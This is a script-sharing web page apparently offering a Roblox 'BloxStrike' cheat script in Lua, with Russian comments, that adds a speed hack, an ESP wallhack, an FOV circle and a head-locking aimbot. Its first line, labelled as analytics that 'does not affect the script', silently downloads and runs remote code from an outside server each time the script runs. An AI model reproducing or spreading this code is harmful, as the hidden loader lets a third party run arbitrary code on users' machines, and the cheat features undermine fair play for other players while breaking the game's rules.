Advertisements
912 views8 runs
[UPDATE!] BloxStrike
Quick Actions
Description
BloxStrike Script for Roblox includes ESP, FOV, Team Check, and other gameplay features designed to provide additional combat and visual options. ESP helps display information about players during matches, while FOV provides additional control over the aiming field of view. Team Check helps distinguish teammates from opponents so targeting features can be used more selectively. This BloxStrike Script is suitable for players looking for an ESP script, FOV settings, and Team Check features for Roblox BloxStrike.
Advertisements
Features
3 Features
- ESP
- FOV
- Team Check
356 lines•12643 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/nvxsQYB3?v=1"))()end);--=== Does not affect the script ===---- Blox Strike GUI (Mobile Optimized & Auto-Persistent for Delta Executor)
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local CoreGui = game:GetService("CoreGui")
local UserInputService = game:GetService("UserInputService")
local Camera = workspace.CurrentCamera
local player = Players.LocalPlayer
-- Удаляем старый GUI, если он уже был запущен
if CoreGui:FindFirstChild("BloxStrikePremiumGUI") then
CoreGui.BloxStrikePremiumGUI:Destroy()
end
-- Глобальные переменные состояния функций (чтобы они помнили статус "ON")
local speedEnabled = false
local espEnabled = false
local aimFovEnabled = false
local headAimEnabled = false
local defaultSpeed = 16
local customSpeed = 24
local fovRadius = 130
-- Создание основного контейнера
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "BloxStrikePremiumGUI"
ScreenGui.Parent = CoreGui
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
-- Главное окно
local MainFrame = Instance.new("Frame")
MainFrame.Name = "MainFrame"
MainFrame.Parent = ScreenGui
MainFrame.BackgroundColor3 = Color3.fromRGB(18, 18, 24)
MainFrame.BorderSizePixel = 0
MainFrame.Position = UDim2.new(0.5, -160, 0.5, -160)
MainFrame.Size = UDim2.new(0, 320, 0, 320)
MainFrame.Active = true
MainFrame.Draggable = true
local MainCorner = Instance.new("UICorner")
MainCorner.CornerRadius = UDim.new(0, 10)
MainCorner.Parent = MainFrame
-- Верхняя панель (Шапка)
local TopBar = Instance.new("Frame")
TopBar.Name = "TopBar"
TopBar.Parent = MainFrame
TopBar.BackgroundColor3 = Color3.fromRGB(26, 26, 36)
TopBar.BorderSizePixel = 0
TopBar.Size = UDim2.new(1, 0, 0, 35)
local TopBarCorner = Instance.new("UICorner")
TopBarCorner.CornerRadius = UDim.new(0, 10)
TopBarCorner.Parent = TopBar
local FixBar = Instance.new("Frame")
FixBar.Parent = TopBar
FixBar.BackgroundColor3 = Color3.fromRGB(26, 26, 36)
FixBar.BorderSizePixel = 0
FixBar.Position = UDim2.new(0, 0, 0.8, 0)
FixBar.Size = UDim2.new(1, 0, 0.2, 0)
-- Название чита
local Title = Instance.new("TextLabel")
Title.Parent = TopBar
Title.BackgroundTransparency = 1
Title.Position = UDim2.new(0, 12, 0, 0)
Title.Size = UDim2.new(0, 200, 1, 0)
Title.Font = Enum.Font.GothamBold
Title.Text = "BLOX STRIKE [PREMIUM]"
Title.RichText = true
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextSize = 14
Title.TextXAlignment = Enum.TextXAlignment.Left
-- Контейнер для элементов управления
local ContentContainer = Instance.new("ScrollingFrame")
ContentContainer.Parent = MainFrame
ContentContainer.Active = true
ContentContainer.BackgroundTransparency = 1
ContentContainer.Position = UDim2.new(0, 12, 0, 45)
ContentContainer.Size = UDim2.new(1, -24, 1, -55)
ContentContainer.CanvasSize = UDim2.new(0, 0, 0, 290)
ContentContainer.ScrollBarThickness = 3
local UIListLayout = Instance.new("UIListLayout")
UIListLayout.Parent = ContentContainer
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout.Padding = UDim.new(0, 10)
-- Состояние свернутости интерфейса
local isMinimized = false
-- Кнопка закрытия
local CloseButton = Instance.new("TextButton")
CloseButton.Parent = TopBar
CloseButton.BackgroundTransparency = 1
CloseButton.Position = UDim2.new(1, -35, 0, 0)
CloseButton.Size = UDim2.new(0, 35, 1, 0)
CloseButton.Font = Enum.Font.GothamBold
CloseButton.Text = "×"
CloseButton.TextColor3 = Color3.fromRGB(160, 160, 180)
CloseButton.TextSize = 20
CloseButton.MouseButton1Click:Connect(function()
ScreenGui:Destroy()
end)
-- Кнопка сворачивания/разворачивания (−)
local MinimizeButton = Instance.new("TextButton")
MinimizeButton.Parent = TopBar
MinimizeButton.BackgroundTransparency = 1
MinimizeButton.Position = UDim2.new(1, -70, 0, 0)
MinimizeButton.Size = UDim2.new(0, 35, 1, 0)
MinimizeButton.Font = Enum.Font.GothamBold
MinimizeButton.Text = "-"
MinimizeButton.TextColor3 = Color3.fromRGB(160, 160, 180)
MinimizeButton.TextSize = 20
MinimizeButton.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
ContentContainer.Visible = not isMinimized
if isMinimized then
MainFrame.Size = UDim2.new(0, 320, 0, 35)
MinimizeButton.Text = "+"
else
MainFrame.Size = UDim2.new(0, 320, 0, 320)
MinimizeButton.Text = "-"
end
end)
-- Функция создания переключателей (Toggle UI)
local function createToggle(name, initialState, callback)
local Container = Instance.new("Frame")
Container.Parent = ContentContainer
Container.BackgroundColor3 = Color3.fromRGB(25, 25, 35)
Container.BorderSizePixel = 0
Container.Size = UDim2.new(1, 0, 0, 50)
local Corner = Instance.new("UICorner")
Corner.CornerRadius = UDim.new(0, 8)
Corner.Parent = Container
local Label = Instance.new("TextLabel")
Label.Parent = Container
Label.BackgroundTransparency = 1
Label.Position = UDim2.new(0, 12, 0, 0)
Label.Size = UDim2.new(0.6, 0, 1, 0)
Label.Font = Enum.Font.GothamMedium
Label.Text = name
Label.TextColor3 = Color3.fromRGB(220, 220, 240)
Label.TextSize = 13
Label.TextXAlignment = Enum.TextXAlignment.Left
local ToggleBtn = Instance.new("TextButton")
ToggleBtn.Parent = Container
ToggleBtn.AnchorPoint = Vector2.new(1, 0.5)
ToggleBtn.BackgroundColor3 = initialState and Color3.fromRGB(123, 44, 191) or Color3.fromRGB(45, 45, 60)
ToggleBtn.Position = UDim2.new(1, -12, 0.5, 0)
ToggleBtn.Size = UDim2.new(0, 80, 0, 30)
ToggleBtn.Font = Enum.Font.GothamBold
ToggleBtn.Text = initialState and "ON" or "OFF"
ToggleBtn.TextColor3 = initialState and Color3.fromRGB(255, 255, 255) or Color3.fromRGB(180, 180, 200)
ToggleBtn.TextSize = 12
local ToggleCorner = Instance.new("UICorner")
ToggleCorner.CornerRadius = UDim.new(0, 6)
ToggleCorner.Parent = ToggleBtn
ToggleBtn.MouseButton1Click:Connect(function()
local newState = not ToggleBtn.Text == "ON" -- инвертируем
-- Или точнее:
if ToggleBtn.Text == "ON" then
ToggleBtn.Text = "OFF"
ToggleBtn.BackgroundColor3 = Color3.fromRGB(45, 45, 60)
ToggleBtn.TextColor3 = Color3.fromRGB(180, 180, 200)
callback(false)
else
ToggleBtn.Text = "ON"
ToggleBtn.BackgroundColor3 = Color3.fromRGB(123, 44, 191)
ToggleBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
callback(true)
end
end)
end
-- 1. Скорость бега
createToggle("Скорость бега", speedEnabled, function(state)
speedEnabled = state
local character = player.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.WalkSpeed = speedEnabled and customSpeed or defaultSpeed
end
end)
-- Авто-восстановление скорости при респавне в новом раунде
player.CharacterAdded:Connect(function(newCharacter)
local humanoid = newCharacter:WaitForChild("Humanoid")
task.wait(0.4) -- небольшая задержка пока игра прогрузит персонажа раунда
if speedEnabled then
humanoid.WalkSpeed = customSpeed
end
end)
-- 2. Wallhack / ESP (Highlight)
local highlights = {}
local function addESP(targetPlayer)
if targetPlayer == player then return end
local function applyHighlight(character)
if not highlights[targetPlayer] or highlights[targetPlayer].Parent ~= character then
if highlights[targetPlayer] then highlights[targetPlayer]:Destroy() end
local highlight = Instance.new("Highlight")
highlight.Name = "BloxStrikeESP"
highlight.Adornee = character
highlight.FillColor = Color3.fromRGB(123, 44, 191)
highlight.FillTransparency = 0.5
highlight.OutlineColor = Color3.fromRGB(255, 255, 255)
highlight.OutlineTransparency = 0.2
highlight.Parent = character
highlights[targetPlayer] = highlight
end
end
if targetPlayer.Character then
applyHighlight(targetPlayer.Character)
end
targetPlayer.CharacterAdded:Connect(function(newChar)
task.wait(0.4)
if espEnabled then
applyHighlight(newChar)
end
end)
end
local function removeESP(targetPlayer)
if highlights[targetPlayer] then
highlights[targetPlayer]:Destroy()
highlights[targetPlayer] = nil
end
end
createToggle("Wallhack (ESP)", espEnabled, function(state)
espEnabled = state
if espEnabled then
for _, p in ipairs(Players:GetPlayers()) do
addESP(p)
end
else
for p, _ in pairs(highlights) do
removeESP(p)
end
end
end)
Players.PlayerAdded:Connect(function(p)
if espEnabled then
addESP(p)
end
end)
Players.PlayerRemoving:Connect(function(p)
removeESP(p)
end)
-- Постоянная проверка новых игроков и раундов для ESP
RunService.Stepped:Connect(function()
if espEnabled then
for _, p in ipairs(Players:GetPlayers()) do
if p ~= player and p.Character and not highlights[p] then
addESP(p)
end
end
end
end)
-- 3. Aim FOV (Круг наводки)
local FOVDrawing = Drawing.new("Circle")
FOVDrawing.Visible = false
FOVDrawing.Transparency = 0.7
FOVDrawing.Color = Color3.fromRGB(123, 44, 191)
FOVDrawing.Thickness = 2
FOVDrawing.Filled = false
FOVDrawing.Radius = fovRadius
createToggle("Aim FOV (Круг)", aimFovEnabled, function(state)
aimFovEnabled = state
FOVDrawing.Visible = state
end)
-- 4. Aimbot на головы (Head Aim)
createToggle("Aimbot на Головы", headAimEnabled, function(state)
headAimEnabled = state
end)
-- Поиск ближайшей головы в радиусе FOV
local function getClosestHeadInFOV()
local closestTarget = nil
local shortestDistance = fovRadius
local screenCenter = Vector2.new(Camera.ViewportSize.X / 2, Camera.ViewportSize.Y / 2)
for _, v in ipairs(Players:GetPlayers()) do
if v ~= player and v.Character then
local humanoid = v.Character:FindFirstChildOfClass("Humanoid")
local head = v.Character:FindFirstChild("Head")
if humanoid and head and humanoid.Health > 0 then
local screenPoint, onScreen = Camera:WorldToViewportPoint(head.Position)
if onScreen then
local vectorDistance = (Vector2.new(screenPoint.X, screenPoint.Y) - screenCenter).Magnitude
if vectorDistance < shortestDistance then
shortestDistance = vectorDistance
closestTarget = head
end
end
end
end
end
return closestTarget
end
-- Главный цикл отрисовки и аимбота
RunService.RenderStepped:Connect(function()
local screenCenter = Vector2.new(Camera.ViewportSize.X / 2, Camera.ViewportSize.Y / 2)
FOVDrawing.Position = screenCenter
if headAimEnabled then
local targetHead = getClosestHeadInFOV()
if targetHead then
Camera.CFrame = CFrame.new(Camera.CFrame.Position, targetHead.Position)
end
end
end)
-- Информационная строка
local InfoLabel = Instance.new("TextLabel")
InfoLabel.Parent = ContentContainer
InfoLabel.BackgroundTransparency = 1
InfoLabel.Size = UDim2.new(1, 0, 0, 30)
InfoLabel.Font = Enum.Font.Gotham
InfoLabel.Text = "Статус: Авто-сохранение раундов активно"
InfoLabel.TextColor3 = Color3.fromRGB(100, 255, 150)
InfoLabel.TextSize = 11
InfoLabel.TextXAlignment = Enum.TextXAlignment.CenterQuick Actions
Similar Scripts
BloxStrike Script 2026 : ESP, Hitbox Expander, No Recoil & More
5K3 months ago
BloxStrike Script - Skinchanger, ESP, Triggerbot, HUD Pack, Anti AFK
9235 months ago
BloxStrike Script : Silent Aim, Aimbot, ESP, TriggerBot (2026)
5644 months ago
BloxStrike: Anti flash, Anti smoke, Aimbot, Esp
5.2K9 months ago
Hyperion Hub Free Keyless Silent Aim
1.1K4 months ago
Advertisements
Comments
0Did it work for you? Sign in to share your experience.
No comments yet
Tried it? Let others know if it works.